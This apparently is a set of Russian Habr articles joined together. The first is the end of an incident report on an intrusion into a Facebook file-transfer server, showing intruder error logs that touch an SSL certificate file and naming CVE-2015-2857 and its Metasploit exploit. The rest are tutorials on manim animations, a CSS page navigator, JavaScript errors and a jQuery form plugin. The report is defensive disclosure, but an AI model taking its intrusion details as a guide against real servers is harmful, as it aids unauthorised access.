mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input
```
После проверки в браузере видно, что files.fb.com подписан сертификатом fb.com:
Исследователь сообщил о выявленной уязвимости и активности злоумышленника на сервере техническим специалистам компании Facebook. Анализ логов показал что было два вторжения в систему — в июле и сентябре. Был ли это один и тот же злоумышленник — неизвестно. Июльский инцидент произошел как раз в момент появления эксплоита к вышеуказанной CVE-2015-2857 от Rapid7 в составе Metasploit Framework. | https://habr.com/ru/post/282179/ | null | ru | null |
# С помощью Python создаём математические анимации, как на канале 3Blue1Brown
Вы наверняка когда-то испытывали трудности в понимании математических концепций алгоритмов машинного обучения и для лучшего понимания темы пользовались обучающим ресурсом 3Blue1Brown. 3Blue1Brown — известный математический YouTube-канал, который ведёт Грант Сандерсон. Многим нравится 3Blue1Brown за прекрасные объяснения Гранта и великолепные анимации.
21 мая стартует новый поток курса о [математике для Data Science](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=140521). Специально к его запуску мы делимся переводом, в котором автор решил рассказать, как делать анимации, подобные анимациям на канале 3Blue1Brown, чтобы вы могли иллюстрировать свои идеи и рассуждения о математике и не только.
---
Я решил рассказать о таких анимациях, чтобы вы сами могли создавать что-то подобное и объяснять различные научные рассуждения своим товарищам, менеджерам или просто интересующимся людям.
К счастью, Грант создал пакет manim на Python, этот пакет позволяет создавать математические анимации, или "живые" картинки. Из этой статьи вы узнаете, как с помощью пакета manim создавать математические анимации, подобные приведённым ниже.
Что такое Manim?
----------------
Manim — это средство для создания точных анимаций, с помощью которых поясняются разные математические операции. Существуют две версии manim. Одна была [создана Грантом](https://github.com/3b1b/manim), а другая [разработана сообществом Manim](https://github.com/ManimCommunity/manim).
Поскольку версия, поддерживаемая сообществом Manim, обновляется чаще и протестирована лучше версии Гранта, мы будем работать с версией сообщества. В [документации](https://docs.manim.community/en/stable/installation.html) рассказывается, какие зависимости пакета нужно установить. После установки зависимостей введите команду:
`pip install manim`
### Приступаем
#### Создадим увеличивающийся из центра синий квадрат
Код для создания анимации определяется внутри метода construct получаемого из Scene класса.
```
from manim import *
class PointMovingOnShapes(Scene):
def construct(self):
square = Square(color=BLUE) # Create a square
square.flip(RIGHT) # Flip the square to the right
square.rotate(-3 * TAU / 8) # Rotate the square -3/8 * 2*PI
# Play the animation of a square growing from the center
self.play(GrowFromCenter(square))
```
Сохраните этот скрипт с именем start.py. Запустите команду ниже, чтобы сгенерировать видео из скрипта.
```
manim -p -ql start.py PointMovingOnShapes
```
Видео с именем PointMovingOnShapes.mp4 будет сохранено в локальном каталоге. У вас должно получиться примерно следующее:
Пояснения к опциям:
* -p: после генерации видео воспроизвести его один раз;
* -ql: сгенерировать видео с низким качеством.
Для генерирования видео с высоким качеством используется опция -qh.
Чтобы вместо видео сгенерировать GIF-анимацию, добавьте к команде опцию -i:
```
manim -p -ql -i start.py PointMovingOnShapes
```
#### Превращение квадрата в круг
Создать обычный квадрат — самая элементарная задача. Давайте её немного усложним. Превратим этот квадрат в круг.
Код для создания приведённой выше анимации:
```
from manim import *
class PointMovingOnShapes(Scene):
def construct(self):
# Create a square
square = Square(color=BLUE)
square.flip(RIGHT)
square.rotate(-3 * TAU / 8)
# Create a circle
circle = Circle()
circle.set_fill(PINK, opacity=0.5) # set the color and transparency
# Create animations
self.play(GrowFromCenter(square))
self.play(Transform(square, circle)) # turn the square into a circle
self.wait() # wait for some seconds
```
Полный набор форм фигур можно найти [здесь](https://docs.manim.community/en/stable/reference/manim.mobject.geometry.html%23module-manim.mobject.geometry).
### Настройка параметров Manim
Фон можно сделать не чёрным, а серым:
Для этого используется параметр config.background\_color.
```
from manim import *
config.background_color = DARK_GRAY
```
[Здесь](https://docs.manim.community/en/stable/tutorials/configuration.html) рассказывается о других способах кастомизации manim.
### Что ещё можно сделать с помощью Manim?
#### Представление математических уравнений с подвижной рамкой
Также можно создавать анимации, выводящие математические уравнения с подвижной рамкой, например такие:
```
class MovingFrame(Scene):
def construct(self):
# Write equations
equation = MathTex("2x^2-5x+2", "=", "(x-2)(2x-1)")
# Create animation
self.play(Write(equation))
# Add moving frames
framebox1 = SurroundingRectangle(equation[0], buff=.1)
framebox2 = SurroundingRectangle(equation[2], buff=.1)
# Create animations
self.play(Create(framebox1)) # creating the frame
self.wait()
# replace frame 1 with frame 2
self.play(ReplacementTransform(framebox1, framebox2))
self.wait()
```
Или записывать шаги решения уравнения:
```
class MathematicalEquation(Scene):
def construct(self):
# Write equations
equation1 = MathTex("2x^2-5x+2")
eq_sign_1 = MathTex("=")
equation2 = MathTex("2x^2-4x-x+2")
eq_sign_2 = MathTex("=")
equation3 = MathTex("(x-2)(2x-1)")
# Put each equation or sign in the appropriate positions
equation1.next_to(eq_sign_1, LEFT)
equation2.next_to(eq_sign_1, RIGHT)
eq_sign_2.shift(DOWN)
equation3.shift(DOWN)
# Align bottom equations with the top equations
eq_sign_2.align_to(eq_sign_1, LEFT)
equation3.align_to(equation2, LEFT)
# Group equations and sign
eq_group = VGroup(equation1, eq_sign_1, equation2, eq_sign_2, equation3)
# Create animation
self.play(Write(eq_group))
self.wait()
```
#### Перемещение и панорамирование
Также можно направлять "камеру" на отдельные части уравнения и увеличивать масштабы отображения таких мест с помощью класса, унаследованного от объекта MovingCameraScene.
```
class MovingAndZoomingCamera(MovingCameraScene):
def construct(self):
# Write equations
equation = MathTex("2x^2-5x+2", "=", "(x-2)(2x-1)")
self.add(equation)
self.play(self.camera.frame.animate.move_to(equation[0]).set(width=equation[0].width*2))
self.wait(0.3)
self.play(self.camera.frame.animate.move_to(equation[2]).set(width=equation[2].width*2))
```
#### Построение графиков
Пакет manim также можно использовать для создания аннотированных графиков, например таких:
```
class Graph(GraphScene):
def __init__(self, **kwargs):
GraphScene.__init__(
self,
x_min=-3.5,
x_max=3.5,
y_min=-5,
y_max=5,
graph_origin=ORIGIN,
axes_color=BLUE,
x_labeled_nums=range(-4, 4, 2), # x tickers
y_labeled_nums=range(-5, 5, 2), # y tickers
**kwargs
)
def construct(self):
self.setup_axes(animate=False)
# Draw graphs
func_graph_cube = self.get_graph(lambda x: x**3, RED)
func_graph_ncube = self.get_graph(lambda x: -x**3, GREEN)
# Create labels
graph_lab = self.get_graph_label(func_graph_cube, label="x^3")
graph_lab2 = self.get_graph_label(func_graph_ncube, label="-x^3", x_val=-3)
# Create a vertical line
vert_line = self.get_vertical_line_to_graph(1.5, func_graph_cube, color=YELLOW)
label_coord = self.input_to_graph_point(1.5, func_graph_cube)
text = MathTex(r"x=1.5")
text.next_to(label_coord)
self.add(func_graph_cube, func_graph_ncube, graph_lab, graph_lab2, vert_line, text)
self.wait()
```
Если нужно получить изображение последнего кадра сцены, добавьте к команде опцию -s:
```
manim -p -qh -s more.py Graph
```
Также можно анимировать процесс добавления осей: для этого нужно установить параметр animate=True.
```
def construct(self):
self.setup_axes(animate=True)
################### The below is the same as above ###################
```
```
manim -p -qh more.py Graph
```
#### Совместное перемещение объектов
Для группировки различных объектов Manim и их совместного перемещения можно воспользоваться VGroup:
```
class GroupCircles(Scene):
def construct(self):
# Create circles
circle_green = Circle(color=GREEN)
circle_blue = Circle(color=BLUE)
circle_red = Circle(color=RED)
# Set initial positions
circle_green.shift(LEFT)
circle_blue.shift(RIGHT)
# Create 2 different groups
gr = VGroup(circle_green, circle_red)
gr2 = VGroup(circle_blue)
self.add(gr, gr2) # add two groups to the scene
self.wait()
self.play((gr + gr2).animate.shift(DOWN)) # shift 2 groups down
self.play(gr.animate.shift(RIGHT)) # move only 1 group
self.play(gr.animate.shift(UP))
self.play((gr + gr2).animate.shift(RIGHT)) # shift 2 groups to the right
self.play(circle_red.animate.shift(RIGHT))
self.wait()
```
#### Отслеживание перемещения
Для отображения следа движущегося объекта можно воспользоваться TracedPath:
```
class TracedPathExample(Scene):
def construct(self):
# Create circle and dot
circ = Circle(color=BLUE).shift(4*LEFT)
dot = Dot(color=BLUE).move_to(circ.get_start())
# Group dot and circle
rolling_circle = VGroup(circ, dot)
trace = TracedPath(circ.get_start)
rolling_circle.add_updater(lambda m: m.rotate(-0.3)) # Rotate the circle
self.add(trace, rolling_circle) # add trace and rolling circle to the scene
# Shift the circle to 8*RIGHT
self.play(rolling_circle.animate.shift(8*RIGHT), run_time=4, rate_func=linear)
```
Подводя итог
------------
Пакет manim работает с тремя видами объектов:
* [Mobjects](https://docs.manim.community/en/stable/reference.html%23mobjects): объекты, которые могут выводиться на экран, например Circle (Окружность), Square (Квадрат), Matrix (Матрица), Angle (Угол) и пр.
* [Сцены](https://docs.manim.community/en/stable/reference.html%23scenes): "холсты" для создания анимаций, например Scene, MovingCameraScene и пр.
* [Анимации](https://docs.manim.community/en/stable/reference.html%23animations): анимации, применяемые к объектам Mobjects, например Write (Записать), Create (Создать), GrowFromCenter (Увеличить от центра), Transform (Преобразовать) и пр.
Пакет manim имеет и другую функциональность, но это тема для отдельной статьи. Учиться лучше всего на практике, поэтому я рекомендую попрактиковаться на примерах из этой статьи, а также ознакомиться с [руководством](https://docs.manim.community/en/stable/tutorials.html) по использованию manim. Исходный код из этой статьи можно найти [здесь](https://github.com/khuyentran1401/Data-science/tree/master/visualization/manim_exp).
При помощи manim красота математики приобретает вещественное выражение. Если хочется подтянуть математику — можете обратить внимание на курс о [математике для Data Science](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=140521). На нём мы рассматриваем применение математических и статистических закономерностей в машинном обучении и нейронных сетях, чтобы вы в дальнейшем могли работать не только с типовыми моделями и архитектурами.
[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=140521), как прокачаться и в других специальностях или освоить их с нуля:
* [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=140521)
* [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=140521)
* [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=140521)
Другие профессии и курсы**ПРОФЕССИИ**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=140521)
* [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=140521)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=140521)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=140521)
* [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=140521)
* [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=140521)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=140521)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=140521)
* [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=140521)
* [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=140521)
**КУРСЫ**
* [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=140521)
* [Курс "Machine Learning и Deep Learning"](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=140521)
* [Курс "Математика для Data Science"](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=140521)
* [Курс "Математика и Machine Learning для Data Science"](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=140521)
* [Курс "Python для веб-разработки"](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=140521)
* [Курс "Алгоритмы и структуры данных"](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=140521)
* [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=140521)
* [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=140521) | https://habr.com/ru/post/556944/ | null | ru | null |
# Навигатор
Задача: создать навигатор страниц. Вот такой:
1. Подбираем цвета
------------------
Так как навигатор делается для использования в конкретном сайте, цвет нам уже известен: `#0aaafd`. Этот цвет используется для обозначения ссылок. И он нам нужен для создания скругленных квадратов-подложек (один — для выделения текущей страницы, второй — для выделения при эффекте `:hover`). Для подложки текущей страницы я использую 80% насыщенности цвета, то есть `#3bbbfd`. Для подложки, появляющейся при эффекте `:hover` я использую 20% насыщенности цвета, то есть `#ceeeff`.
2. Элементы навигатора
----------------------
* Номер текущей страницы
* Номер одной из предыдущей-следующей страниц
* Предыдущая/следующая страница
* Первая/последняя страница
Учитываем, что пользователь должен сразу понять, на какой странице находится, то есть надо ее как-то выделить. Я использую аж 3 способа выделения: белый цвет, жирный шрифт, и контрастная, более яркая чем другие, подложка.
3. Переходим к верстке
----------------------
### HTML
Сначала нам надо создать html-разметку, с которой мы будем работать. Что из себя представляет навигатор? Список с определенным порядком нумерации. Под это определение подходит нумерованный список (`ol`). Создаем разметку:
> `1. 
> 2. 
> 3. 7
> 4. 8
> 5. **9**
> 6. 10
> 7. 11
> 8. 
> 9. `
Присваиваем класс к списку, чтобы можно было манипулировать именно этим контейнером и элементами, находящимся внутри него. Первые и последние 2 элемента навигатора (первая страница, предыдущая страница, следующая страница, последняя страница) я решил сделать в виде картинок, так как они «заменяют» собой контент. Текущую страницу выделяем стронгом (нам как раз нужен жирный шрифт).
Теперь переходим к самому интересному —
### CSS
Рассмотрим наш навигатор поближе:
Расстояние между верхней и нижней горизонтальными полосами 18 пикселов.
Ширина полупрозрачного серого прямоугольника 20 пикселов.
Остальное видно благодаря масштабу 500%, любезно предоставленному Фотошопом.
**Правила для тега `ol`**:
> `clear:both;
>
> display:block;
>
> width:181px;
>
> margin:0 auto;`
Первое правило запрещает обтекание.
Второе правило «говорит» о том, что данный контейнер является блочным элементом — так как внутри будут блочные элементы (нельзя блочные элементы внутрь строчных класть).
Третье правило нужно нам для выравнивания навигатора по центру. Дело в том, что без указания ширины мы не смжем выровнять этт контейнер по центру. Значение ширины `ol` для нашего навигатора высчитывается по формуле:
`[количество элементов списка ol] * ( [ширина контейнера li] + [отступ слева контейнера li] + [отступ справа контейнера li] )`
То есть `9 * ( 18 + 1 + 1 )`, получаем 180. Однако 180 пикселов IE не хватает, и навигатор плывет:
Увеличиваем ширину на 1 пиксель, и все приходит в норму.
Можно не заморачиваться, и подобрать ширину приблизительно, однако всегда приятнее, когда существует порядок :)
Padding не учитываем, позже объясню почему.
**Правила для тега `li`**:
> `list-style:none;
>
> display:block;
>
> float:left;
>
> margin:0 1px;`
Первое правило запрещает показ порядкового номера элемента списка.
Второе правило нужно, т.к. внутри будет блочный элемент — ссылка.
Третье правило для того, чтобы элементы списка располагались не вертикально, а горизонтально.
Четвертое правило задает отступы слева и справа в 1 пиксель. Это нам нужно, так как размер подложки равен 18px, и необходимо небольшое расстояние, чтоб подложки текущей страницы и при наведении не «слипались».
**Правила для тега `a`**:
> `display:block;
>
> width:18px;
>
> background:none;
>
> text-align:center;
>
> font:normal 14px/18px Arial, Helvetica, sans-serif;`
Первое правило нужно для того, чтобы работало второе. То есть в inline-элементах width не работает.
Второе правило нужно, так как у нас фиксированная ширина подложки. Если хочется нефиксированную, используем технику «sliding doors».
Третье правило запрещает использование подложки (бэкграунда) при обычном состоянии ссылки.
Четвертое правило выравнивает содержимое контейнера по центру *по горизонтали*.
Пятое правило — нормальный (не жирный) шрифт размером 14 пикселов, выравнивание текста *по вертикали*, и указание на используемое семейство шрифтов.
**Правило для эффекта `a:hover`**:
> `background:url("img/ps-bg.gif") no-repeat left bottom;`
Правило «говорит» об использовании фонового изображения. Но все не так просто, как кажется на первый взгляд. Если мы просто создадим картинку для эффекта `:hover`, при загрузке страницы, браузер ее не загрузит (так как она не отображается при загрузке страницы).
Также обращаю внимание, что в IE `:hover` работает только применительно к ссылкам.
Возвращаюсь к подложкам. Так как у нас 2 подложки (для текущей страницы и при наведении), я «склеиваю» их в одну картинку (чтобы при наведении сразу все работало):
↑ это и есть `ps-bg.gif`, 18 пикселов в ширину и (18+18) в высоту. Нижняя «половина» — для эффекта при наведении, верхняя — для текущей страницы.
Итак, контейнеры (элементы списка `li`) 18х18 у нас готовы, можно наполнять их содержимым. Нам осталось оформить 2 тега — `strong` и `img`. Оформление для текста ссылок у нас готово.
**Правила для тега `strong`**:
> `display:block;
>
> width:18px;
>
> color:white;
>
> background:url("img/ps-bg.gif") no-repeat left top;
>
> text-align:center;
>
> font:bold 14px/18px Arial, Helvetica, sans-serif;`
Здесь интерес представляет только четвертое правило — «вырезаем верхнюю часть ps-bg.gif и вставляем ее бэкграундом в контейнер 18х18».
**Правила для тега `img`**:
> `width:18px;`
Для картинок явно должна быть указана одна из сторон (ширина, как правило). Размер второй стороны, если не указан в CSS, вычисляется браузером автоматически с учетом пропорций картинки.
**Весь CSS:**
> `.page-scroll {
>
> clear:both;
>
> display:block;
>
> width:181px;
>
> margin:0 auto;
>
> }
>
>
>
> .page-scroll li {
>
> list-style:none;
>
> display:block;
>
> float:left;
>
> margin:0 1px;
>
> }
>
>
>
> .page-scroll a {
>
> display:block;
>
> width:18px;
>
> background:none;
>
> text-align:center;
>
> font:normal 14px/18px Arial, Helvetica, sans-serif;
>
> }
>
>
>
> .page-scroll a:hover {background:url("img/ps-bg.gif") no-repeat left bottom;}
>
>
>
> .page-scroll strong {
>
> display:block;
>
> width:18px;
>
> color:white;
>
> background:url("img/ps-bg.gif") no-repeat left top;
>
> text-align:center;
>
> font:bold 14px/18px Arial, Helvetica, sans-serif;
>
> }
>
>
>
> .page-scroll img {width:18px;}`
В общем-то все готово, но CSS можно чуть-чуть сократить:
> `.page-scroll {
>
> clear:both;
>
> display:block;
>
> width:181px;
>
> margin:0 auto;
>
> }
>
>
>
> .page-scroll li {
>
> list-style:none;
>
> display:block;
>
> float:left;
>
> margin:0 1px;
>
> }
>
>
>
> .page-scroll a {
>
> background:none;
>
> font:normal 14px/18px Arial, Helvetica, sans-serif;
>
> }
>
>
>
> .page-scroll a:hover {background:url("img/ps-bg.gif") no-repeat left bottom;}
>
>
>
> .page-scroll strong {
>
> color:white;
>
> background:url("img/ps-bg.gif") no-repeat left top;
>
> font:bold 14px/18px Arial, Helvetica, sans-serif;
>
> }
>
>
>
> .page-scroll strong, .page-scroll a, .page-scroll img {
>
> display:block;
>
> width:18px;
>
> text-align:center;
>
> }`
[Посмотреть на работающий навигатор](http://ural-mobile.ru/devices/catalogue.57/group.1584/) | https://habr.com/ru/post/18036/ | null | ru | null |
# Ошибки в JavaScript и как их исправить
JavaScript может быть кошмаром при отладке: некоторые ошибки, которые он выдает, могут быть очень трудны для понимания с первого взгляда, и выдаваемые номера строк также не всегда полезны. Разве не было бы полезно иметь список, глядя на который, можно понять смысл ошибок и как исправить их? Вот он!
Ниже представлен список странных ошибок в JavaScript. Разные браузеры могут выдавать разные сообщения об одинаковых ошибках, поэтому приведено несколько примеров там, где возможно.
### Как читать ошибки?
Перед самим списком, давайте быстро взглянем на структуру сообщения об ошибке. Понимание структуры помогает понимать ошибки, и вы получите меньше проблем, если наткнетесь на ошибки, не представленные в этом списке.
Типичная ошибка из Chrome выглядит так:
```
Uncaught TypeError: undefined is not a function
```
Структура ошибки следующая:
1. **Uncaught TypeError**: эта часть сообщения обычно не особо полезна. `Uncaught` значит, что ошибка не была перехвачена в `catch`, а `TypeError` — это название ошибки.
2. **undefined is not a function**: это та самая часть про ошибку. В случае с сообщениями об ошибках, читать их нужно прямо буквально. Например, в этом случае, она значит то, что код попытался использовать значение `undefined` как функцию.
Другие webkit-браузеры, такие как Safari, выдают ошибки примерно в таком же формате, как и Chrome. Ошибки из Firefox похожи, но не всегда включают в себя первую часть, и последние версии Internet Explorer также выдают более простые ошибки, но в этом случае проще — не всегда значит лучше.
Теперь к самим ошибкам.
### Uncaught TypeError: undefined is not a function
**Связанные ошибки:** number is not a function, object is not a function, string is not a function, Unhandled Error: ‘foo’ is not a function, Function Expected
Возникает при попытке вызова значения как функции, когда значение функцией не является. Например:
```
var foo = undefined;
foo();
```
Эта ошибка обычно возникает, если вы пытаетесь вызвать функцию для объекта, но опечатались в названии.
```
var x = document.getElementByID('foo');
```
Несуществующие свойства объекта по-умолчанию имеют значение `undefined`, что приводит к этой ошибке.
Другие вариации, такие как “number is not a function” возникают при попытке вызвать число, как будто оно является функцией.
**Как исправить ошибку:** убедитесь в корректности имени функции. Для этой ошибки, номер строки обычно указывает в правильное место.
### Uncaught ReferenceError: Invalid left-hand side in assignment
**Связанные ошибки:** Uncaught exception: ReferenceError: Cannot assign to ‘functionCall()’, Uncaught exception: ReferenceError: Cannot assign to ‘this’
Вызвано попыткой присвоить значение тому, чему невозможно присвоить значение.
Наиболее частый пример этой ошибки — это условие в if:
```
if(doSomething() = 'somevalue')
```
В этом примере программист случайно использовал один знак равенства вместо двух. Выражение “left-hand side in assignment” относится к левой части знака равенства, а, как можно видеть в данном примере, левая часть содержит что-то, чему нельзя присвоить значение, что и приводит к ошибке.
**Как исправить ошибку:** убедитесь, что вы не пытаетесь присвоить значение результату функции или ключевому слову `this`.
### Uncaught TypeError: Converting circular structure to JSON
**Связанные ошибки:** Uncaught exception: TypeError: JSON.stringify: Not an acyclic Object, TypeError: cyclic object value, Circular reference in value argument not supported
Всегда вызвано циклической ссылкой в объекте, которая потом передается в `JSON.stringify`.
```
var a = { };
var b = { a: a };
a.b = b;
JSON.stringify(a);
```
Так как `a` и `b` в примере выше имеют ссылки друг на друга, результирующий объект не может быть приведен к JSON.
**Как исправить ошибку:** удалите циклические ссылки, как в примере выше, из всех объектов, которые вы хотите сконвертировать в JSON.
### Unexpected token ;
**Связанные ошибки:** Expected ), missing ) after argument list
Интерпретатор JavaScript что-то ожидал, но не обнаружил там этого. Обычно вызвано пропущенными фигурными, круглыми или квадратными скобками.
Токен в данной ошибке может быть разным — может быть написано “Unexpected token ]”, “Expected {” или что-то еще.
**Как исправить ошибку:** иногда номер строки не указывает на правильное местоположение, что затрудняет исправление ошибки.
Ошибка с [ ] { } ( ) обычно вызвано несовпадающей парой. Проверьте, все ли ваши скобки имеют закрывающую пару. В этом случае, номер строки обычно указывает на что-то другое, а не на проблемный символ.
Unexpected / связано с регулярными выражениями. Номер строки для данного случая обычно правильный.
Unexpected; обычно вызвано символом; внутри литерала объекта или массива, или списка аргументов вызова функции. Номер строки обычно также будет верным для данного случая.
### Uncaught SyntaxError: Unexpected token ILLEGAL
**Связанные ошибки:** Unterminated String Literal, Invalid Line Terminator
В строковом литерале пропущена закрывающая кавычка.
**Как исправить ошибку:** убедитесь, что все строки имеют правильные закрывающие кавычки.
### Uncaught TypeError: Cannot read property ‘foo’ of null, Uncaught TypeError: Cannot read property ‘foo’ of undefined
**Связанные ошибки:** TypeError: someVal is null, Unable to get property ‘foo’ of undefined or null reference
Попытка прочитать `null` или `undefined` так, как будто это объект. Например:
```
var someVal = null;
console.log(someVal.foo);
```
**Как исправить ошибку:** обычно вызвано опечатками. Проверьте, все ли переменные, использованные рядом со строкой, указывающей на ошибку, правильно названы.
### Uncaught TypeError: Cannot set property ‘foo’ of null, Uncaught TypeError: Cannot set property ‘foo’ of undefined
**Связанные ошибки:** TypeError: someVal is undefined, Unable to set property ‘foo’ of undefined or null reference
Попытка записать `null` или `undefined` так, как будто это объект. Например:
```
var someVal = null;
someVal.foo = 1;
```
**Как исправить ошибку:** это тоже обычно вызвано ошибками. Проверьте имена переменных рядом со строкой, указывающей на ошибку.
### Uncaught RangeError: Maximum call stack size exceeded
**Связанные ошибки:** Uncaught exception: RangeError: Maximum recursion depth exceeded, too much recursion, Stack overflow
Обычно вызвано неправильно программной логикой, что приводит к бесконечному вызову рекурсивной функции.
**Как исправить ошибку:** проверьте рекурсивные функции на ошибки, которые могут вынудить их делать рекурсивные вызовы вечно.
### Uncaught URIError: URI malformed
**Связанные ошибки:** URIError: malformed URI sequence
Вызвано некорректным вызовом `decodeURIComponent`.
**Как исправить ошибку:** убедитесь, что вызовы decodeURIComponent на строке ошибки получают корректные входные данные.
### XMLHttpRequest cannot load [some/url](http://some/url/). No ‘Access-Control-Allow-Origin’ header is present on the requested resource
**Связанные ошибки:** Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at [some/url](http://some/url/)
Эта проблема всегда связана с использованием XMLHttpRequest.
**Как исправить ошибку:** убедитесь в корректности запрашиваемого URL и в том, что он удовлетворяет [same-origin policy](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy). Хороший способ найти проблемный код — посмотреть на URL в сообщении ошибки и найти его в своём коде.
### InvalidStateError: An attempt was made to use an object that is not, or is no longer, usable
**Связанные ошибки:** InvalidStateError, DOMException code 11
Означает то, что код вызвал функцию, которую нельзя было вызывать в текущем состоянии. Обычно связано c `XMLHttpRequest` при попытке вызвать на нём функции до его готовности.
```
var xhr = new XMLHttpRequest();
xhr.setRequestHeader('Some-Header', 'val');
```
В данном случае вы получите ошибку потому, что функция `setRequestHeader` может быть вызвана только после вызова `xhr.open`.
**Как исправить ошибку:** посмотрите на код в строке, указывающей на ошибку, и убедитесь, что он вызывается в правильный момент или добавляет нужные вызовы до этого (как с `xhr.open`).
### Заключение
JavaScript содержит в себе одни из самых бесполезных ошибок, которые я когда-либо видел, за исключением печально известной `Expected T_PAAMAYIM_NEKUDOTAYIM` в PHP. Большая ознакомленность с ошибками привносит больше ясности. Современные браузеры тоже помогают, так как больше не выдают абсолютно бесполезные ошибки, как это было раньше.
Какие самые непонятные ошибки вы встречали? Делитесь своими наблюдениями в комментариях.
P.S. Этот перевод можно улучшить, отправив PR [здесь](https://github.com/olegafx/translations/blob/master/JavaScript%20Errors%20and%20How%20to%20Fix%20Them.md). | https://habr.com/ru/post/249525/ | null | ru | null |
# JQuery FormNavigate — плагин для удобной работы с onbeforeunload
Все, кто пользуется веб-интерфейсом [gmail](http://gmail.com), наверняка замечали, как гугл заботится о нас и не даёт закрыть страницу, если мы начали составлять письмо и не сохранили его в черновики. И понадобилось мне для своего проекта сделать нечто похожее.
Сперва сделал это используя **window.onbeforeunload**, но злая опера не поддерживает это событие.
Призадумался, попутно нашёл плагин для [jquery](http://jquery.com/ "jquery") под названием [FormNavigate](http://code.google.com/p/jquery-plugin-form-navigation-confirmation/ "FormNavigate").
Ничем особенным это плагин не выделяется, основная его функция сводится к тому, что он отлавливает событие **change** у заданной формы и навешивает событие **window.onbeforeunload**:
> `$("YourForm").FormNavigate("YourMessage");
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
**YourForm** — селектор формы, в которой будем отлавливать изменения
**YourMessage** — соответственно сообщение, которые будет выдано при срабатывании события **onbeforeunload**.
Еще раз взглянув на gmail, я заметил, что там при попытки перейти на ссылку срабатывает **confirm**, а уже при закрытии и перезагрузке окна — **onbeforeunload**. Это частично решает проблему с оперой (мы можем отловить попытку перейти на другую страницу, но отловить закрытие и перезагрузку страницы так и не удастся).
И решил я дописать этот плагин, добавить пару опций. В итоге по функционалу получилось почти так же, как и на gmail :)
> `$("YourForm").FormNavigate({
>
> message: "Содержимое было изменено! \n Вы уверены, что хотите покинуть страницу без сохранения?",
>
> aOutConfirm: "#DivID a.confirm, #DivID2 a"
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Выбираем форму, изменения на которой будем отлавливать, в **message** указываем текст сообщения, а в **aOutConfirm** — где и какие ссылки будем отлавливать (можно убрать этот параметр, тогда по-умолчанию будут обрабатываться нажатия на все ссылки).
Демо можно увидеть [тут](http://spiritzzz.com/files/FormNavigate/demo.htm)
Измененный плагин смотреть [тут](http://spiritzzz.com/files/FormNavigate/jquery.FormNavigate.js)
